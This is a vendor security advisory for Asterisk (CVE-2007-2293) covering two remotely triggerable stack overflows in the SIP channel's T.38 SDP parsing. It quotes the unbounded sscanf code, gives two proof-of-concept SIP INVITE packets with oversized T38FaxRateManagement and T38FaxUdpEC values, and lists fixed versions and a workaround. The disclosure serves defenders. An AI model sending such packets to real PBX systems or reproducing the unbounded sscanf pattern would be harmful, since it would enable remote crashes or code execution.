Product	Asterisk
Summary	Two stack buffer overflows in SIP channel's T.38 SDP parsing code
Nature of Advisory	Exploitable Stack Buffer Overflow
Susceptibility	Remote Unauthenticated Sessions
Severity	Moderate
Exploits Known	No
Reported On	March 22, 2007
Reported By	Barrie Dempster, NGS Software, <barrie@ngssoftware.com>
Posted On	April 24, 2007
Last Updated On	August 21, 2007
Advisory Contact	kpfleming@digium.com
CVE Name	CVE-2007-2293

Description	Two closely related stack based buffer overflows exist in the SIP/SDP handler of Asterisk, the vulnerabilities are very similar but exist as two separate unsafe function calls. The T38FaxRateManagement and T38FaxUdpEC SDP parameters can be exploited remotely leading to arbitrary code execution without authentication. In order for these overflows to occur, t38 fax over SIP must be enabled in sip.conf. Examples of SIP INVITE packets are shown below, however these vulnerabilities can be triggered with a number of different SIP messages affecting calls received by Asterisk, or in response to calls made by Asterisk.
	
	Remote Unauthenticated stack overflow in Asterisk SIP/SDP T38FaxRateManagement parameter
	
	A remote unauthenticated stack overflow exists in the SIP/SDP handler of Asterisk. By sending a SIP packet with SDP data which includes an overly long T38 parameter it is possible to overflow a stack based buffer and execute arbitrary code.
	
	The process_sdp function of chan_sip.c in Asterisk contains the following vulnerable call to sscanf.
	
	else if ((sscanf(a, "T38FaxRateManagement:%s", s) == 1)) {
	found = 1;
	if (option_debug > 2)
	
	ast_log(LOG_DEBUG, "RateMangement: %s\n", s);
	if (!strcasecmp(s, "localTCF"))
	peert38capability |=
	T38FAX_RATE_MANAGEMENT_LOCAL_TCF;
	else if (!strcasecmp(s, "transferredTCF"))
	peert38capability |=

T38FAX_RATE_MANAGEMENT_TRANSFERED_TCF;

This attempts to read the "T38FaxRateManagement:" option from the SDP within a SIP packet and copy the succeeding string into "s". There are no checks on the length of this string and we can therefore write past the boundaries of the "s" variable overwriting adjacent memory on the stack. "s" is defined earlier in this function as being a character array of only 256 bytes. The following example packet demonstrates an overflow of this parameter:

```
INVITE sip:200@127.0.0.1 SIP/2.0
Date: Wed, 21 Mar 2007 4:20:09 GMT
CSeq: 1 INVITE
Via: SIP/2.0/UDP
10.0.0.123:5068;branch=z9hG4bKfe06f452-2dd6-db11-6d02-000b7d0dc672;rport
User-Agent: NGS/2.0
From: "Barrie Dempster"
<sip:zeedo@10.0.0.123:5068>;tag=de92d852-2dd6-db11-9d02-000b7d0dc672
Call-ID: f897d952-2fa6-db49441-9d02-001b7d0dc672@hades
To: <sip:200@localhost>
Contact: <sip:zeedo@10.0.0.123:5068;transport=udp>
Allow: INVITE,ACK,OPTIONS,BYE,CANCEL,NOTIFY,REFER,MESSAGE
Content-Type: application/sdp
Content-Length: 796
Max-Forwards: 70

v=0
o=rtp 1160124458839569000 160124458839569000 IN IP4 127.0.0.1
s=-
c=IN IP4 127.0.0.1
t=0 0
m=image 5004 UDPTL t38
a=T38FaxVersion:0
a=T38MaxBitRate:14400
a=T38FaxMaxBuffer:1024
a=T38FaxMaxDatagram:238
a=T38FaxRateManagement:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA
```

AAAAAAAAAAAAAAA
a=T38FaxUdpEC:t38UDPRedundancy

Remote Unauthenticated stack overflow in Asterisk SIP/SDP T38FaxUdpEC parameter

A remote unauthenticated stack overflow exists in the SIP/SDP handler of Asterisk. By sending a SIP packet with SDP data which includes an overly long T38FaxUdpEC parameter it is possible to overflow a stack based buffer and execute arbitrary code.

The process_sdp function of chan_sip.c in Asterisk contains the following vulnerable call to sscanf.

```
else if ((sscanf(a, "T38FaxUdpEC:%s", s) == 1)) {
                        found = 1;
                        if (option_debug > 2)
                                ast_log(LOG_DEBUG, "UDP EC: %s\n", s);
                        if (!strcasecmp(s, "t38UDPRedundancy")) {
                                peert38capability |=
T38FAX_UDP_EC_REDUNDANCY;

ast_udptl_set_error_correction_scheme(p->udptl,
UDPTL_ERROR_CORRECTION_REDUNDANCY);
```

This attempts to read the "T38FaxUdpEC:" option from the SDP within a SIP packet and copy the succeeding string into "s". There are no checks on the length of this string and we can therefore write past the boundaries of the "s" variable overwriting adjacent memory on the stack. "s" is defined earlier in this function as being a character array of only 256 bytes. The following example packet demonstrates an overflow of this parameter:

```
INVITE sip:200@127.0.0.1 SIP/2.0
Date: Wed, 21 Mar 2007 4:20:09 GMT
CSeq: 1 INVITE
Via: SIP/2.0/UDP
10.0.0.123:5068;branch=z9hG4bKfe06f452-2dd6-db11-6d02-000b7d0dc672;rport
User-Agent: NGS/2.0
From: "Barrie Dempster"
<sip:zeedo@10.0.0.123:5068>;tag=de92d852-2dd6-db11-9d02-000b7d0dc672
Call-ID: f897d952-2fa6-db49441-9d02-001b7d0dc672@hades
To: <sip:200@localhost>
Contact: <sip:zeedo@10.0.0.123:5068;transport=udp>
Allow: INVITE,ACK,OPTIONS,BYE,CANCEL,NOTIFY,REFER,MESSAGE
Content-Type: application/sdp
Content-Length: 796
Max-Forwards: 70

v=0
```

	o=rtp 1160124458839569000 160124458839569000 IN IP4 127.0.0.1 s=- c=IN IP4 127.0.0.1 t=0 0 m=image 5004 UDPTL t38 a=T38FaxVersion:0 a=T38MaxBitRate:14400 a=T38FaxMaxBuffer:1024 a=T38FaxMaxDatagram:238 a=T38FaxUdpEC:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA AAAAAAAAA

Resolution	T.38 support in the affected versions of Asterisk is not enabled by default, therefore the severity of this issue is 'moderate'. Users who are using the default configuration with 't38_udptl' set to 'no' or an equivalent value are not susceptible to this vulnerability. Users who have set this configuration item to 'yes' or an equivalent value but are not actually using T.38 support can set it to 'no' to secure their systems against this vulnerability. All other users are urged to upgrade to the appropriate version of their Asterisk product listed in the 'Corrected In' section below.

Affected Versions		
Product	**Release Series**	
Asterisk Open Source	1.0.x	not affected; does not contain T.38 support
Asterisk Open Source	1.2.x	not affected, does not contain T.38 support
Asterisk Open Source	1.4.x	all releases prior to 1.4.3
Asterisk Business Edition	A.x.x	not affected, does not contain T.38 support
Asterisk Business Edition	B.x.x	not affected, does not contain T.38 support
AsteriskNOW	pre-release	all releases prior to and including Beta 5
Asterisk Appliance Developer Kit	0.x.x	all releases prior to 0.4.0

Corrected In	
Product	**Release**
Asterisk Open Source	1.4.3, available from http://downloads.digium.com/pub/telephony/asterisk
AsteriskNOW	Beta 6, when available from http://www.asterisknow.org, Beta 5 users can use use 'System Update' in the appliance control panel to update their version of AsteriskNOW
Asterisk Appliance Developer Kit	0.4.0, available from http://downloads.digium.com/pub/telephony/aadk

Links	

Asterisk Project Security Advisories are posted at http://www.asterisk.org/security.
This document may be superseded by later versions; if so, the latest version will be posted at http://downloads.digium.com/pub/asa/AST-2007-010.pdf.

Revision History		
Date	**Editor**	**Revisions Made**
April 24, 2007	kpfleming@digium.com	Initial Release
April 25, 2007	kpfleming@digium.com	updated URL
April 27, 2007	kpfleming@digium.com	added CVE name

August 21, 2007	russell@digium.com	change name prefix from ASA to AST, change ftp.digium.com to downloads.digium.com